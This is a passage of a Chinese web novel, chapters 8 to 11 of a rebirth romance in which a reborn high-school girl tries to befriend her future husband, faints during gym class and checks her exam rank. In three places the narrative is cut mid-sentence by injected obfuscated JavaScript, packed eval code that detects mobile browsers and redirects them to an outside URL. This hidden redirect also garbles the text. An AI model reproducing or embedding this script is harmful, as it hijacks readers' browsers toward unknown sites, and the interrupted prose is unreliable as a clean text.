大概是两人相处模式太不青涩,店里老板以为两人是附近大学的小情侣,找完钱瞧见祝明月脸上的笑,顺嘴夸了一句:“笑得像朵花一样甜,小姑娘,这是你男朋友吧,哎哟,我和你说,你男朋友选的都是我们店里销量好的进口零食,价格可不便宜哦,一看就是舍得为你花钱的人,找男朋友就得找这样大方的,对你好的,不像我家那个男人,整天只会躺着,饭来张口,衣来伸手的。” 祝明月摆摆手,乐不可支。 她不怕被人调侃,但商诀毕竟还是个学生,肯定不会喜欢。 祝明月不动声色转移话题:“哎呀,他的确对我很大方,不过要我说,我还是更佩服老板您,一个人就操持起整个家,开的超市整洁又卫生,说出去,谁不夸您一句女中豪杰,有一个好的男朋友算什么呀,自己有本事才了不起,我要向老板您学习,以后成为像您这样的人!” 祝明月恭维起人完全不显牵强,说话时一双明亮圆润的眼睛诚恳看着对方,笑容大方真挚,任谁听了都不觉得她在说假话。 老板先是一愣,随后笑得合不拢嘴,眼角皱纹攥在一起,倒真像一朵花:“你说得对,这人要想立起来,还是要靠自己。” 老板心情畅快,往祝明月手里塞了两条牛奶软糖,笑盈盈目送两人离开。 刚推开超市玻璃门,随着门外热空气扑来的,还有祝明月手机上收到的一条短信。 [未知联系人]:【?怎么不回消息,有人说在堕落街看到你了,你在堕落街吗?】 祝明月蹙眉。 这个未知联络人在她下午发传单时就曾给她发过一条消息,问她要不要骑车换个心情。 祝明月只当对方发错消息,没回复。 可现在这条点明她所在位置的消息难免让祝明月怀疑她是不是真的和对方认识。 虽然对高中记忆有些模糊,但未成年骑摩托车这种危险活动,她不会参与,所以这人她自然不认识。 祝明月想也不想,直接拉黑删除一条龙。 将手机扔进裤兜,祝明月开始分配老板给的两条牛奶软糖。 祝明月同商诀商量:“这两条软糖口味不一样,一条是草莓味的,一条是黑加仑口味的,我把这两条拆开,我们分一分,各自一半,这样我们就能吃到两种不同的口味啦。” “不用。” 商诀搞不懂祝明月。 搞不懂她为什么前一秒和后一秒态度的转换可以如此自然顺畅。 无论操场上的反击还是发传单被熊孩子推倒,以及刚刚……被老板调侃两人是情侣,祝明月总能干脆利落地应付,事后语气轻松地翻篇,仿佛什么都没有发生。 是该说祝明月太乐观,还是说祝明月心太大。 不过这不属于商诀应该思考的范畴,他本就是因为操场那事对祝明月心存歉意,今天一过,两人之间不必有任何联系。 他将祝明月分给他的软糖还给她,“我不吃糖。” “啊?怎么会?”祝明月不解。 以前她吃糖的时候,总会习惯性地问商诀吃不吃,不为别的,单纯是喜欢分享。 刚开始商诀还会礼貌推辞说自己不吃,某天像是突然开了窍,在她询问吃不吃的时候,直接俯身,一手掌住她的后脑勺,低头吻住她的唇,辗转反侧。 末了,看着她,眼眸微润,来一句:“吃过了,很甜,谢谢。” 短短几句话,撩得祝明月腿软。 祝明月又想叹气了。 唉,时过境迁,商诀现在还是个对情爱狗屁不通的小子。 她将两条软糖扔进口袋,没勉强:“好吧,那你要是想吃糖了可以来五班找我,我课桌里一直备着糖。” 商诀两只手提着零食袋,目不斜视,直截了当:“不用,我不会再去找你,这次请你是赔礼。” 他和祝明月本就不是一路人。 论成绩,祝明月……班级倒数,不说不思进取,但不用心是肯定的,否则他不会每周都在办公室看见她被老师谈话,还总看到祝明月微皱眉装认真反思的模样;论性格,祝明月内敛文静,大方端庄,追求者众多,而他则因过于冷淡和不懂风情被好友评价注孤生;论…… 总之,他对祝明月了解少之又少,不在一个班级,以后大概率不会有任何交集,请祝明月吃饭完全在他今日计划外,平心而论,他并不喜欢这种计划被打乱不受控制的感觉。 所以,他不会再做出这种行为。 祝明月听了他这话,抱着香芋奶茶,诧异地停住脚步。 祝明月:“为什么?为什么不会再来找我,我们以后不当朋友了吗?” 朋友。 商诀在心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093904|195570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底琢磨了一遍这个词汇,忽然觉得这个词汇变得十分陌生。 祝明月疯狂摇晃脑袋抗议:“不行不行,你不来找我,那我去找你行不行?” 祝明月重生了,她的人生轨迹在发生变化,商诀的人生轨迹同样在变化—— 上辈子她和商决有因为发传单相遇吗? 没有。 上辈子商决有请她吃饭吗? 没有。 按照两人现在的关系和相处模式,如果完全断绝来往,她或许只会成为商诀记忆中一个脾气暴躁特别能吃的女同学,别说是见面,就是成为朋友、步入婚姻都难。 商诀垂眸看祝明月。 傍晚的风褪去了白日的燥热,温柔撩起女孩耳侧的碎发,露出柔而挺的面部轮廓,浓密深邃的睫毛下一颗细小的黑痣若隐若现,仰头看他的眼眸倒映路边闪烁的灯牌,藏着真情实感的困惑,顶着这样一张脸,很难让人说出拒绝的话。 商诀不紧不慢开口:“为什么要来找我。” 他不记得自己先前和祝明月有任何来往,也不相信赵拾正口中说的祝明月暗恋自己。 为什么? 祝明月眼珠子转了一圈,眨巴两下,“因为你人很好,我想要和你当朋友,可以吗?” “不可以。” “为什么?你怕我,你得了那种不能和女生接触的病?否则会全身起红疹过敏呼吸困难进医院?还是你觉得我食量太大,晚饭花了你很多钱,我刚刚算了算,除去零食,晚餐共花费三十一块钱,你要是觉得我太能吃,我把钱还给你,我刚发了工资呢,零食的话……” 商决:“……” 眼见祝明月还要算下去,商决果断截住话题,目不斜视:“没有,不是,而且你很吵。” “好吧,那你告诉我为什么?” 祝明月低头嗦了口浓郁糖精香气的香芋奶茶,耐心询问原因,完全不介意商决的冷漠,让商决颇有种被牛皮糖沾上的无措。 “不为什么。” “不为什么那就是可以什么,我可以去找你,你也可以来找我,我可以和你做朋友,你也可以和我做朋友,就这么说定了。” 祝明月吐字清晰,说到最后打了个漂亮的响指。 谁和你说定了? 商诀默不作声。 没说好,也没说不好。 祝明月琢磨片刻,又道:“你是不是介意刚才老板说你是我男朋友我没有否认,对不起,我只是觉得向陌生人解释太麻烦,你知道我们是朋友就好了,对不对?” 不对。 商决想要这样反驳。 他和祝明月有熟到这种程度吗?祝明月是不是饭吃多了才说这种糊涂话,还是祝明月天生低情商,看不懂人脸色,不知道什么叫做拒绝? 但解释太多半点不符合商决的个性,他最终合上了嘴。 算了,反正以后不会再有交集。 后半程路成了祝明月一个人的脱口秀。 祝明月絮絮叨叨说了许多学校里发生的事情,包括语文需要背诵的课文太多,她记住了课文又记不住字,偏偏语文老师天天点她背诵,数学和理科需要写的作业太难,她愁得头发多掉了好几根,最近狂吃芝麻不知道能不能补回来,还有午餐没吃饱,端着空盘子要求加饭被食堂大叔翻白眼…… 商决难得疑惑,他和祝明月是否上的是同一个高中,枯燥重复的高中生活在祝明月的口中变得丰富且具有可描述性。 晚高峰结束的公交车只有零星几位乘客,祝明月和商决并列坐在最后一排,窗外霓虹夜景如幻灯片掠过,蓝色窗帘伴随晚风阵阵摆动,车内流淌着司机喜好的上世纪末舒缓情歌。 本该是放松休闲的好时刻,商决却久违地开始体会为一件事烦恼的滋味。 9. 第 9 章 祝明月父母是校园恋爱,两人都是江大学生,研究生阶段就领了证,读博时进入江市生物研究所工作,房子是单位补贴购买的,除去公摊,面积大约80平方米,三室一厅的格局。 父母去世后,祝明月和祝山川就像是约定好,谁也没动过父母房间的布局,定期清扫,定期换床单,仿佛他们还在。 房子离江城一中不过两公里的距离,从堕落街坐公交回去花费时间稍微久一些,大约半小时。 进小区大门前,商决将两大提零食递给祝明月。 祝明月没立刻伸手,她心里有些难受,却不知道为什么。 想了想,她将这归结于重生后遗症,谁让商决上辈子是她丈夫,以至于祝明月没能将商决从倾听者的角色中剥离。 祝明月克制自己的情绪,抿了抿唇,“商决,今天谢谢你,谢谢你请我吃饭,谢谢你请我吃零食,谢谢你听我讲那么多废话,我不知道你口中说的赔礼是不是上回操场那事,不过我还是很谢谢你,你如果没记住我名字,我再重复一遍,我叫……” “祝明月。”商决道。 路灯下,商决的面容立体深刻,他目光平静,“我记忆不差,回去吧,我也要回家了。” “哦。” 祝明月的伤感被打断,她接过零食,两袋零食沉甸甸的,祝明月心情忽然又变好了。 这么多零食,她能和米莱分着吃很久呢。 “路上注意安全,学校见!”祝明月对商决说。 祝明月拎着两袋零食往小区里走,走了几步,鬼使神差回头,商决早已转身,高大清瘦的背影没入夜色,看得不甚清晰。 祝明月沉了沉肩,安慰自己实属正常现象,没谈过恋爱的愣头青怎会知道如何对待女孩子。 早在和商决去堕落街吃饭时祝明月就给祝山川发了消息,叫他不必等自己,这个时间点,祝山川估计已经洗漱完在做作业。 上了楼,钥匙刚插进锁孔,门就被人从里面拉开。 祝山川站在门口,视线将祝明月上下扫了个遍,喊她:“姐,你手里……你膝盖是不是受伤了?” 祝山川急忙蹲下身查看。 天气热,祝明月穿的是夏长裤,纯棉布料,轻薄透气,即便当时是穿着玩偶服摔的,膝盖处布料依旧有变形。 祝山川眼睛一向尖,皱着眉,“把东西给我,你先进来,我去给你拿药。” “没破皮,过几天就好了,”祝明月打了个哈欠,将两提零食塞到祝山川手里,“有面包的那提是你的,另一提是我的,我的那提零食你分配好,每天给我一包,我怕我管不住嘴,对了,里面有个信封,装着一百二十块钱,我明天想吃糖醋排骨,你记得早点起床去买,好了,我要去洗澡睡觉,不要打扰我!也不要为我准备宵夜,我今天吃得超级饱!” “姐,你是不是……”祝山川有些懵,下意识追问。 祝明月转过身,盯着祝山川,语气高傲:“姐什么姐,姐很累,不要打扰姐!” “……哦,知道了。” 祝山川拎着祝明月‘打猎’带回的两提零食回了卧室,其中一提里有两袋他爱吃的黄油奶酪面包,另一提零食里,祝山川找到了祝明月说的信封。 拆开,里面装着两张纸钞,一张一百,一张二十。 联想祝明月中午没吃的饭菜和膝盖处的摔伤,祝山川心头不是滋味,虽然他从未告诉过祝明月自己手头拮据,尽可能把多的钱分配给祝明月,但祝明月每月在校消费从不超过四百块,家里换天然气设备那个月,祝明月食堂消费只有一百九。 祝山川捏着两张薄薄的纸钞,忍不住红了眼。 等到祝明月洗完澡,擦着头发回到卧室,便看到书桌上的跌打酒和消毒碘伏,以及祝山川留下的一张字条: 姐,你不要去兼职了,家里有钱,下个月我会问舅舅多要一些钱,除了糖醋排骨你想吃什么告诉我,我明早去买。 跌打酒和碘伏在桌上,记得擦药,会好得快些。 祝山川留^-^ 祝明月哼了声,撇撇嘴,忍不住吐槽,“都几岁了还玩留字条的游戏。” 父母工作忙,她和祝山川几乎是阿姨照看着长大,怕与孩子之间的感情生疏,祝知勉和齐岳每次出差前总会挨个亲亲睡梦中姐弟俩的额头,在床头柜留下字条,字条中说明两人出差时间和归家时间,偶尔还会刷新一些礼物的藏匿地点。 祝山川上小学学会写字后,天天给她写小纸条,放在她房间书桌上,等她进房间就躲在门口,从缝里观察她的表情。 祝明月那时认识的字不多,也不爱查字典,对祝山川写的内容一知半解,但为了不让祝山川看扁,祝明月会假装自己看懂了,高冷的在字条上批阅一个好字表示知道。 看不懂字条还非要批好的后果就是差点把祝明月最喜欢的一个飞机模型给了祝山川,祝明月至今还记得她说不给时祝山川嚎啕大哭的模样,嘴巴里红红的扁桃体看得一清二楚。 原本总爱黏在她屁股后面的祝山川足足生气了一天,第二天从妈妈祝知勉口中得知她不认字,又委屈巴巴地问她以后遇到看不懂的字能不能查字典。 因为一张字条回忆起从前的事情,祝明月无奈扯了扯嘴角。 大脑是人生储存器,里面像迷宫一般建造着无数个房间,那些自以为遗忘的记忆就像是紧锁的门,总在某个不经意间被情绪轻轻敲开。 祝明月将字条放进抽屉,坐在椅子上认真给摔伤的膝盖涂抹跌打酒。 上完药,看眼手机,八点五十六,时间还早,祝明月从书包里拿出作业,最先解决的自然是英语。 上辈子工作需要,出席国际电影节,接受外媒采访,和外国籍导演合作……,不必经纪人提醒,祝明月有事没事就练习,说得一口流利地道的英语。 除了个别特定的短语搭配,高中英语对她来说是手拿把掐,祝明月挽了个丸子头,麻利开始写作业。 时针指向十一点半,祝山川写完全部假期作业,起身去厕所,走出房门时被祝明月房间昏黄的灯光吸引。 夏季炎热,为了节省电费,开的是客厅的立式空调,为了让冷风流入,姐弟俩房间门都敞着。 这让祝山川得以看见自家姐姐写作业的状态:一只脚抱在怀里踩着椅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093905|195570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面,另一只脚脚尖踮地,脚背绷紧,上半身歪斜,完全描述不出一个准确的坐姿,她或许是在验算数学题,眉头皱得厉害。 祝山川又一次被自家姐姐给触动了—— 祝明月上学期可从来没有熬夜写过作业。 这是不是代表着祝明月逐渐从父母去世的悲伤中走出来,开始振作生活。 分明是祝山川想看到的场景,他却莫名红了眼,转过身,用手背擦了擦眼睛,擦到一半,听到身后祝明月的声音。 “不睡觉站着当门神呢?给你姐倒杯水来。” 祝山川身子一僵,条件反射道:“好!马上!” - 发六小时传单换来的不仅是一百二十块钱的工资,还有祝明月将近一周的腰酸背疼。 身体上的疼痛尚且能忍受,但九月月考近在咫尺,为了不比上学期期末排名差,祝明月只能没日没夜地学,忙得昏头涨脑,压根儿没精力思考如何和商决交朋友。 更别提两人不在一个班,一天课上下来,能见一面都是老天垂怜。 不过这一两次的碰面足够祝明月了解商决现在的好友。 一位是跟他同班的任拓,戴着黑框眼镜,身材壮实,一副三好学生的可靠模样,一位是和她同班的赵拾正,瘦高瘦高的,在班里通常充当活跃气氛的角色,成绩不错,很受各位任课老师喜欢。 商决的两位好友着实让祝明月震惊,因为商决上辈子成为所谓成功人士后,他身边亲近的朋友仍旧有任拓和赵拾正。 她和商决结婚时,两人就是伴郎,不过那时的任拓早已结婚,孩子都一岁了。 祝明月倒不是觉得朋友应该是阶段性的,她只是从这一现象中再次确认她看人眼光不错。 好吧,是商决人不错。 周四上午最后一节课是体育课,祝明月不爱上体育课,拖拖拉拉到打铃才和米莱一起去操场。 到了操场,才发现这节课是和三班一起上。 这很正常,高中体育老师几乎是稀缺资源,一个班一周就一节体育课,一个年级二十多个班,一个体育老师就带十几个班,偶尔遇上体育老师带校队外出比赛,其他体育老师就会帮忙上一节。 祝明月难得在非课间的时间看见商决。 商决站在队伍末尾,面上没什么表情,但他身型好,肩宽腿长,即便因为阳光刺眼而低垂脑袋,看到的依旧是挺拔的脊背,校服短袖露出后脖颈那块洁白如玉的皮肤,那节凸起的骨头利落又性感。 十六七岁的青少年,正是长个子的年纪,和商决差不多身高的学生不是没有,只是对比商决,缺少了一股冷淡的……韵味? 不知是她情人眼里出西施还是怎么的,一众男生里,祝明月只能将目光锁定在商决身上。 体育委员在前面扯着嗓子喊:“嘿!嘿!嘿!女生们,看过来,站好准备报数!” 祝明月回神,往旁边一瞧,好些女生围在一起叽叽喳喳讨论商决,用自以为隐蔽的目光看商决,眼里属于少女的小窃喜藏也藏不住。 祝明月:“……” 好吧,看样子,上辈子的她的确眼瞎。 10. 第 10 章 两个班级报数完毕,照例跑三圈热身,三班先跑,五班跟上。 或许是商决在队伍最后一个的缘故,五班没几个女生愿意第一个跑。 祝明月能理解,她上辈子见自己崇拜的导演时也如此紧张,近乡情怯嘛,不过她和商决上辈子都是老夫老妻了,没什么不好意思的。 在体育老师的啧声催促下,祝明月脸不红心不惊,拉着米莱跟上去。 看着前方身姿挺拔的商决,祝明月心情莫名不爽。 可她现在哪里有资格不爽,她不过是商决的一个普通得不能再普通的同学,半个多月过去,说不定商决连她叫什么都忘了。 虽说和商决结婚前他向自己坦白从未谈过恋爱,但保不准有过心动对象。 还是那句话,青春期少年嘛,春心萌动实属正常。 不知是不是三班速度太快,第一圈跑完,祝明月拉了一大截距离,路过体育老师时被他点了一句,让祝明月快步跟上。 祝明月只好提快速度,刚提速没几步,她眼前开始放烟花,一阵阵白光闪现,祝明月顿感大事不妙。 今早胃不舒服,祝明月只喝了一碗食堂两块钱的小米粥配炒土豆片,一上午的时间过去,早就消化了个没影。 祝明月双腿越来越重,眼前开始出现重影,商决穿着校服的身影在她面前晃来晃去,变幻个不停。 “商决……” 决字说到一半,祝明月眼前一黑,身子往前一栽,额头磕到商决后背,失去知觉,彻底晕了过去。 大概是太想念上辈子的生活,祝明月在梦里见到了二十七岁的商决。 不是她期望的岁月静好,她紧闭着双眼,戴着呼吸面罩,脸色苍白地躺在病床上。 商决坐在床边,拿着沾水的棉签,耐心为她滋润干燥的双唇,擦完,静静盯着她的脸,半晌,抬手为她别好额头上细碎的发丝,动作克制轻柔,仿佛她只是陷入睡梦。 看着这一幕,祝明月忽地想起和商决结婚一周年纪念日。 她那时在外地拍戏,给商决发消息说自己不回江城,过不了纪念日,礼物下次补上。 正是初冬季节,湖水透着深深的凉意,角度需要,拍了好几场落水戏才顺利收工,当晚便高烧肺炎住院。 她难受得以为自己要去天堂,稀里糊涂给祝山川打电话叮嘱身后事,电话没能拨给祝山川,反倒拨给了她的丈夫商决。 下一秒,电话那边的人就和做梦一般站到了她的面前。 商决穿着一身深黑色西装,风尘仆仆,一手握着手机,一手捂住她的嘴,口吻严肃:“不许说这种不吉利的话,不许诅咒自己。” 想起从前的事情,祝明月难免伤感。 再抬头,祝明月看到了商决脸上突兀出现的泪,顺着眼角慢慢向下滑,毫无防备砸在她的手背。 滚烫灼人。 祝明月放缓呼吸,眼睛一动不动盯着商决,反复确认那并非自己的错觉。 她朝商决伸手,虚空中抓住商决的衣角,捏到指尖泛白。 半晌,祝明月张唇:“商决,我所有的银行卡密码都是我的生日,钱你和祝山川平分,生命就是这样脆弱无常的,死了的人什么都不知道,活着的人就不要折磨自己,就算没有我,你和祝山川也能好好的,也要好好的。” “你要……好好的。” 商决站在校医务室床前,任由祝明月抓住自己衣摆不放,说些乱七八糟的他听不懂的话。 是他将低血糖昏迷的祝明月抱来医务室的没错,但祝明月的朋友已经跟随姜校医去刷打点滴的费用,照理说他不需要等祝明月苏醒。 只是商决刚要转身,衣摆就被祝明月紧紧抓住,力气大到商决一时没能摆脱。 他伸手,想要将自己的衣角从祝明月手中解救,刚抬手,视线便凝在祝明月眼角那滴透明的泪上。 商决僵在原地。 他想起祝明月站在他们班窗户边红着眼的那一幕,难不成真如赵拾正所说,祝明月暗恋他? 就他和祝明月上上周的短暂相处看,祝明月对他的态度更像是旧友,口吻、动作熟络无比,甚至带着商决无法理解的信赖,毕竟他和祝明月真正产生交流不过那天下午扶起她,请她吃了晚饭和零食而已。 说喜欢过于夸张。 再者,上回请吃饭已经足够结算那次的误会,他不会再和祝明月产生任何交集。 稳定心神,商决将衣角从祝明月紧攥的掌心抽出,堪堪将祝明月的手藏进薄被,祝明月忽地睁开了眼。 四眼相对,祝明月缓慢眨了眨眼,张唇:“我饿了。” 商决:“……” “想吃什么?” 商决妥协了。 他无法做到在这个时候对病人的需求视而不见,更何况,刚才最好的离开时机已经错过。 打点滴的手无法移动,祝明月小心翼翼坐起身,趁对面的人不注意,随手擦去眼侧的泪水,在校服口袋里摸索,找到自己的校园卡递给商决。 祝明月:“一食堂的黑糯米饭团,加一根火腿肠,多多油酥,就是五块钱的那个套餐,谢谢。” “嗯,只要一个饭团,……够吃吗?” 祝明月从商决的语气里读出了浓重的质疑。 这简直是天大的误会! 她当时是没吃午饭才吃那么多,更何况,米线是主食,奶茶和炸排骨顶多算助兴,哪里就多了。 不知道甜品会被吃进另一个胃里吗? 祝明月表情变幻几秒,最终决定装糊涂,她露出一个自认为可爱的笑容:“够啦,我胃口很小的。” 商决:“……” 拿着祝明月的校园卡转身,商决迎面撞上米莱和姜医生,他朝姜医生礼貌点了下头,迈着长腿走出医务室。 姜医生将蜂蜜水递给祝明月,“喝点吧,这针挂完午休刚好结束,不影响你下午上课。” 祝明月:“……” 她巴不得影响。 祝明月捧着蜂蜜水,看向一脸担忧的米莱,朝她笑笑,“米莱,谢谢你,晚上回家我就把打点滴的钱转给你,你现在回去上体育课吧,我没事的。” 米莱看着脸色苍白还硬说自己没事的祝明月,十分内疚,“我不知道你早餐没吃饱,我课桌里有零食的,我应该早点发现你的不对劲,你今天早上话就很少,是不是那个时候就不舒服了。” 祝明月被逗笑,心里涌起一股暖意:“是我早餐吃不下,而且低血糖是我的老毛病了,我有点贫血,不是你的问题,那你不要回去上体育课了,你在这里陪陪我好不好,我待会儿让商决帮我们向体育老师解释。” 米莱眼里含着泪,她点点头,过于担 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093906|195570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心祝明月的病情,一时没能发觉她语气里和三班商决的熟络程度。 姜校医递了张椅子给米莱,睨祝明月一眼:“既然知道是老毛病那就得重视,贫血对女生影响大,痛经什么的疼起来要人命,亏了气血做什么都有气无力,提不起精神,健康最重要。” 米莱嘴巴笨不太会说,但她相当认可姜校医的话,附和着姜校医的话,脑袋一点一点的,像只啄木鸟。 姜校医生怕祝明月不明白,以过来人的姿态多说了一句,“你们这个年纪,青春无敌,不化妆都好看,什么样都好看。” 这句话里蕴藏的感慨颇多,米莱或许无法理解,但祝明月这个过来人理解。 时间就是这样的东西,拥有时无法感受,经历了却无法再拥有。 所以,祝明月朝姜校医笑笑,“谢谢姜老师,我会多多吃饭的。” 漂亮的孩子看着就是赏心悦目,姜校医被祝明月笑容迷倒了,别了别头发,怪不好意思的,“行,你知道就好。” 不一会儿,商决进来,将买好的饭团递给祝明月,祝明月真诚道谢,让他帮忙同体育老师解释。 商决嗯了一声,转身离开,全程不多说一个字。 将高冷贯彻到底。 姜校医从商决进医务室开始就盯着他,目光在他和祝明月身上来回扫视,眼神逐渐变得意味深长。 男帅女美,她许久没看过这么养眼的小情侣了,一时没忍住八卦心理,“祝同学,你和这位男同学,你们……” 话说到一半,对上两双干净清澈的眼。 姜校医意识到自己失言,紧急刹车,“你、你们是同班同学吗?他人挺不错啊,还帮你买吃的。” “不是一个班的,不过我认识他。” 祝明月随口解释,她不在意姜校医的调侃。 天大地大,吃饭最大。 她打开塑料袋,里面装着的正是她点名要的那份黑米混糯米的饭团,窗口做饭团的阿姨习惯性将饭团切开,切口整齐干净,能看到里面夹着的火腿肠、油酥和沙拉酱,颜色鲜明漂亮。 祝明月将切开的另一半递给米莱,“我们一起分享。” 米莱摇头,“我不吃,我不饿,我陪着你就好。” 祝明月往米莱手里塞,一本正经忽悠人:“经研究表明,不是和朋友一起吃的饭团香味会减少一半,而且,你陪着我难不成就不吃饭吗?吃吧,糯米可顶饱了,再说了,我吃不饱下午就不能吃你的零食吗?” 一套接一套的说辞将米莱说迷糊了,她看着祝明月脸上的笑,又觉得祝明月说得有道理。 长得好看的人说什么都有道理。 米莱:“可以吃,全部吃完我明天继续带,你想吃什么?爆米花想不想吃,有用大米爆的,有用玉米爆的,还有年糕片!” 祝明月被米莱说得流口水,“大米的吧,我还没吃过这种呢。” “好,我多带点,用罐子装着,你饿了就吃,还能冲开水加白糖做泡米花吃,像是喝粥。” “哇,那我要试试,听起来就很不错。” 两个小女生聊得认真,姜校医原本在电脑上整理库存药物清单,听到两人聊天的声音,不由朝两人看去。 阳光从窗外透进来,落在空荡光洁的地板上,映得两人眼眸亮而润,像悬挂在枝头上嫩绿的青苹果。 11. 第 11 章 告知体育老师祝明月和她朋友的情况,商决归队。 跟随体育老师做伸展运动的时候,商决忽然记起,他忘将校园卡还给祝明月了。 一旁赵拾正疯狂朝他使眼色,八卦之意不言而喻。 商决转过视线,懒得理会他。 热身运动结束,体育老师布置本节课任务,分组练习垫排球,刚分到一颗排球,赵拾正就跟嗅到肉骨头的狗火速凑了过来。 商决面无表情垫排球。 颇有节奏的垫球声中,赵拾正开口,是商决意料之中的话题:“商决,你老实说,你说老实话,上回你信誓旦旦说和祝明月不熟,我也是单纯,信了,可你刚才是……” 任拓颠着球插进来:“见义勇为。” 商决:“……” “牛。” 赵拾正朝任拓竖了个大拇指,把话题重新绕到商决身上,不怪他八卦,谁不想知道校草的倾心对象呢。 “我没看错的话,你刚从医务室出来是去食堂了吧,这人也帮忙送去医务室了,午餐也买上了,我看啊,不像祝明月暗恋你,倒像是你暗恋祝明月,你实话实说,兄弟我嘴巴严得很。” 这话效果惊人。 商决垫排球的动作顿了一下,一时没能接住掉落的排球,不偏不倚砸在了凑近的赵拾正脑袋上。 他捂住头顶,惨叫一声往草坪上倒,在商决和任拓面前打滚,叫嚷着要商决请客赔罪,校服短袖沾惹一身的绿色假草,活像只刺猬。 “哈哈哈哈哈哈哈,要不是没带手机,真该给你拍下来。”任拓大笑。 商决瞧着赵拾正的囧态,嘴角扬了一瞬,声音一如既往平淡:“活该。” 谁都知道赵拾正不过随口问问,并不当真,毕竟是个同学晕自己面前,都会伸出援手,只不过祝明月,让人忍不住多想。 笑归笑,任拓反而从商决的行为中敏锐地品出了一丝丝的不对劲。 大概是任拓视线停留时间过长,商决朝他看去,“怎么了?” 任拓一脸凝重:“决啊,你告诉我,祝同学手里是不是有你的把柄?” 商决:“……” 把柄倒是没有,但校园卡有。 祝明月的校园卡最终由赵拾正帮忙还了回去,赵拾正不太敢和祝明月说话,写了张字条同校园卡一起放在祝明月桌上。 没有刻意遮挡,路过的人但凡多瞄两眼就能看清。 祝明月打完点滴回教室时第一节课刚过十分钟,在门口喊了声报告,先是迎接了一波‘热情’的眼神注视。 等落座,祝明月收到米莱的小纸条。 医务室不让无病的学生使用空着的床位,午休铃响后她就催着米莱回教室休息。 纸条打开,是米莱工整的字迹:你桌上的校园卡和纸条我放你课桌里了,路过的人总会好奇看。 趁着老师背过身写板书,祝明月打开抽屉里的纸条,字条内容简单:商决拜托我还给你。 还校园卡的人不必说,是赵拾正。 只是这还卡的方式着实让祝明月无语,就算他直接扔她桌上她都不会说什么,她难不成认不出来这是她的校园卡,她入学时拍的证件照还在上面印着呢。 大大咧咧将纸条放她桌上,是生怕别人不会乱揣测她和商决的关系吗? 难怪任拓都有娃了赵拾正还是单身,就这情商,低到马里亚纳海沟里了。 祝明月心底吐槽,面上不显半分,默默将纸条扔进垃圾袋,心里盘算着她和商决在谣言四起后当朋友的可能性。 商决是个完美主义者,极其理性且自律,制定好的计划,除非特殊变故,从不会更改,说好听点叫谋定笃行,说难听点叫不懂变通。 两人结婚前,商决给她看过十几个婚礼方案,询问她的意见,开始祝明月还会耐心指出她认为不合适的地方,但在连续回复商决一周后,祝明月严肃告诉商决,自己会按时出席婚礼,其余的事情不必再打扰她,商决这才消停。 即便这样,商决仍旧邀请她见面,将婚礼最终版本给她过目,理由也充分:“一生只有一次的婚礼,你想糊弄过去吗?” 祝明月当时一脸震惊地看着商决,满心想,这个男人疯了,结婚而已,只要愿意,一生多少次都可以。 到底没说这么令人难堪的话,祝明月认真将婚礼方案看过一遍,可耻地心动了。 婚礼流程轻松简单,不需要祝明月凌晨起床打扮,酒店环境布置是祝明月喜欢的清新森系风格,酒席入口处不是传统的婚礼迎宾照,而是用鲜花和绿植拼成的背景墙,来宾拆下背景墙上悬挂的小礼物后可以写上一句祝福的话语,新颖又出片。 祝明月不太记得她当时和商决交换誓言和戒指的画面,只记得自己和朋友各种拍照,玩的不亦乐乎。 祝明月不是很想在重生后回忆上辈子的事情,越是回忆,她就越是感到悲凉,只能靠捂住自己心口缓解那股忧伤。 米莱注意到她的动作,将桌上她的水杯给她拧开。 因为害怕被讲台上老师注意,几乎是用气音说话:“我给你接了开水,现在是温的,你喝点,如果不舒服,我们就去医务室再看看。” 祝明月心头又暖过来了,好孩子米莱可是上课都不会走神的,她笑着接过水杯:“米莱,谢谢你。” 米莱红着脸,“不客气。” 交朋友其实是这样美好的一件事,祝明月喝着凉白开,短暂忘却了即将到来的月考。 开学第一场月考和祝明月印象中的月考差不多,两天时间,第一天考语文和数学,第二天考理综和英语,考完第两天排名就张贴上榜,效率高得离谱。 祝明月再不情愿还是磨磨蹭蹭在吃完午饭后和米莱一起去看成绩榜。 毕竟是重生后第一次月考,祝明月可是铆足了劲儿学习,连商决都抛之脑后,要是考不好,真对不起她这段时间的熬夜。 高二年级二十五个班,将近一千三百多名学生,祝明月成绩不是出挑的那一批,但也绝不会拖平均分的后腿。 她谨慎地在排名中段靠后的位置寻找自己的名字,不出她意料,校排名631。 比她上辈子还差,跌出前五百名! 该死的成绩,终究还是辜负了她这段时间的熬夜。 祝明月心口疼。 她朝排行榜第一名的位置看去,不出意料,商决两个字跟磁铁一般牢牢固定在上面。 